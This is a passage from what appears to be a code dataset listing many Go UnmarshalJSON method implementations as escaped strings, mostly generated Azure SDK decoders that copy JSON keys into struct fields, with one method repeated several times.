&o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (j *Json) UnmarshalJSON(b []byte) error {\\n\\tr, err := loadContentWithOptions(b, Options{\\n\\t\\tType: ContentTypeJson,\\n\\t\\tStrNumber: true,\\n\\t})\\n\\tif r != nil {\\n\\t\\t// Value copy.\\n\\t\\t*j = *r\\n\\t}\\n\\treturn err\\n}\",\n \"func (t *Transform) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", t, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"id\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"ID\\\", &t.ID)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &t.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"properties\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Properties\\\", &t.Properties)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"systemData\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"SystemData\\\", &t.SystemData)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"type\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Type\\\", &t.Type)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", t, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (fs *Filters) UnmarshalJSON(data []byte) error {\\n\\tvar tmp []filter\\n\\tif err := json.Unmarshal(data, &tmp); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*fs = make([]Filter, 0, len(tmp))\\n\\tfor _, f := range tmp {\\n\\t\\t*fs = append(*fs, f.Filter)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (v *Visit) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonE564fc13DecodeGithubComLa0rgHighloadcupModel1(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *jsonNative) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (this *SimpleWithMap_Nested) UnmarshalJSON(b []byte) error {\\n\\treturn TypesUnmarshaler.Unmarshal(bytes.NewReader(b), this)\\n}\",\n \"func (v *Features) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson42239ddeDecodeGithubComKhliengDispatchServer25(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (g *GenerateExpressRoutePortsLOAResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", g, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"encodedContent\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"EncodedContent\\\", &g.EncodedContent)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", g, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (v *Node) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson6601e8cdDecodeGithubComSkydiveProjectSkydiveGraffitiApiTypes1(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (a *AppTemplatesResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &a.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &a.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (t *TransformOutput) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", t, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"onError\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"OnError\\\", &t.OnError)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"preset\\\":\\n\\t\\t\\tt.Preset, err = unmarshalPresetClassification(val)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"relativePriority\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"RelativePriority\\\", &t.RelativePriority)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", t, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (e *ExtraLayers) UnmarshalJSON(data []byte) error {\\n\\tvar a []string\\n\\tif err := json.Unmarshal(data, &a); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\treturn e.Parse(a...)\\n}\",\n \"func (s *SingleServerRecommendationResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", s, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"deploymentType\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"DeploymentType\\\", &s.DeploymentType)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"vmSku\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"VMSKU\\\", &s.VMSKU)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", s, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *AlertAllOf1Body) UnmarshalJSON(raw []byte) error {\\n\\tvar data struct {\\n\\t\\tContexts json.RawMessage `json:\\\"contexts,omitempty\\\"`\\n\\n\\t\\tDetails interface{} `json:\\\"details,omitempty\\\"`\\n\\n\\t\\tType string `json:\\\"type,omitempty\\\"`\\n\\t}\\n\\tbuf := bytes.NewBuffer(raw)\\n\\tdec := json.NewDecoder(buf)\\n\\tdec.UseNumber()\\n\\n\\tif err := dec.Decode(&data); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tcontexts, err := UnmarshalContextSlice(bytes.NewBuffer(data.Contexts), runtime.JSONConsumer())\\n\\tif err != nil && err != io.EOF {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvar result AlertAllOf1Body\\n\\n\\t// contexts\\n\\tresult.contextsField = contexts\\n\\n\\t// details\\n\\tresult.Details = data.Details\\n\\n\\t// type\\n\\tresult.Type = data.Type\\n\\n\\t*m = result\\n\\n\\treturn nil\\n}\",\n \"func (f *FromAllInputFile) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", f, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"includedTracks\\\":\\n\\t\\t\\tf.IncludedTracks, err = unmarshalTrackDescriptorClassificationArray(val)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"@odata.type\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"ODataType\\\", &f.ODataType)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", f, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (j *Regulations) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *Fruit) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonD2b7633eDecodeBackendInternalModels11(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (a *AzureFirewallListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &a.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &a.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (f *FromEachInputFile) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", f, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"includedTracks\\\":\\n\\t\\t\\tf.IncludedTracks, err = unmarshalTrackDescriptorClassificationArray(val)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"@odata.type\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"ODataType\\\", &f.ODataType)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", f, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (t *TestLineListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", t, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &t.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &t.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", t, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (f *FilterItems) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", f, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"field\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Field\\\", &f.Field)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"values\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Values\\\", &f.Values)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", f, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (t *BlockTest) UnmarshalJSON(in []byte) error {\\n\\treturn json.Unmarshal(in, &t.Json)\\n}\",\n \"func (sc *ScrapeConfigs) UnmarshalJSON(b []byte) error {\\n\\n\\tvar oneConfig ScrapeConfig\\n\\tif err := json.Unmarshal(b, &oneConfig); err == nil {\\n\\t\\t*sc = ScrapeConfigs{oneConfig}\\n\\t\\treturn nil\\n\\t}\\n\\tvar multiConfigs []ScrapeConfig\\n\\tif err := json.Unmarshal(b, &multiConfigs); err == nil {\\n\\t\\t*sc = multiConfigs\\n\\t\\treturn nil\\n\\t} else {\\n\\t\\tfmt.Println(err)\\n\\t\\tfmt.Println(\\\"Badly formatted YAML: Exiting\\\")\\n\\t\\tos.Exit(1)\\n\\t}\\n\\treturn nil\\n}\",\n \"func (f *FeatureResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", f, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"id\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"ID\\\", &f.ID)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &f.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"properties\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Properties\\\", &f.Properties)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"type\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Type\\\", &f.Type)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", f, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (t *TestAllRoutesResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", t, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"routes\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Routes\\\", &t.Routes)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", t, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (a *AppListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &a.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &a.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (m *MapTransform) UnmarshalJSON(b []byte) error {\\n\\treturn json.Unmarshal(b, &m.Pairs)\\n}\",\n \"func (a *AzureFirewallFqdnTagListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &a.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &a.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (a *AzureStackEdgeFormat) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"azureStackEdge\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"AzureStackEdge\\\", &a.AzureStackEdge)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"deviceType\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"DeviceType\\\", &a.DeviceType)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"networkFunctions\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NetworkFunctions\\\", &a.NetworkFunctions)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"provisioningState\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"ProvisioningState\\\", &a.ProvisioningState)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"status\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Status\\\", &a.Status)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", a, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (e *ExpressRouteLinkListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", e, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &e.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &e.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", e, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (f genHelperDecoder) DecJSONUnmarshal(tm jsonUnmarshaler) {\\n\\tf.d.jsonUnmarshalV(tm)\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &o.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &o.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase 